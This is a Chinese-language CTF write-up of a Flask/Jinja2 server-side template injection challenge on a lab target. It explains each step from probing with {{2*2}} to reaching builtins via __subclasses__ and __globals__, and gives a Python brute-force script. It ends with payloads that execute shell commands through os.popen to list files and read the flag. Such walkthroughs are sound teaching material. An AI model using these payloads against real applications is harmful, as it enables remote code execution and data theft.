這裡是WriteUp,關於SSTI的詳解請見一道[CSCCTF 2019 Qual]FlaskLight的詳解再遇SSTI_sGanYu的博客-CSDN博客
訪問靶場
靶場地址:攻防世界
http://61.147.171.105:60865/2
/{
{2*2}}
{ {}}作為變量包裹標識符,在渲染的時候會把{ {}}包裹的內容當做變量解析替換,比如{ {2*2}}會被解
析成4
/{
{''.__class__}}
''的類型是str類型,調用__class__,指向變量所屬的類,格式為"變量.__class__"
/{
{''.__class__.__mro__}}
由於''為str類型,通過str尋找當前類對象的所有繼承類,當然__mro__不是唯一的方法,如__base__同樣也可以尋找,但是只能找上一層的父類,如果被找的類型不止一個父類的話,就得通過很多個base去找
/{
{''.__class__.__mro__[2]}}
__class__.__mro__以元組形式返還了兩個關系,<class 'str'>和<class 'object'>,我們通過索引獲取後面的object,也就是[2]
/{
{''.__class__.__mro__[2].__subclasses__()}}
再通過__subclasses__找到object對象下的所有子類,當然同樣可以通過__class__.__base__.__subclasses__()尋找
腳本編寫:
import requests
url = 'http://61.147.171.105:60865'
for i in range(1, 100):
payload = "/{
{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
newurl = url + payload
res = requests.get(url=newurl + payload)
if 'builtins' in res.text:
print(newurl)
else:
pass
隨便調用腳本生成的其中一個payload就行,這裡我選擇的是第一個
/{
{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']}}
/{
{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']}}
/{
{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']}}
/{
{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
遠程命令執行,調用os模塊 ,使用popen執行ls命令
/{
{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()")}}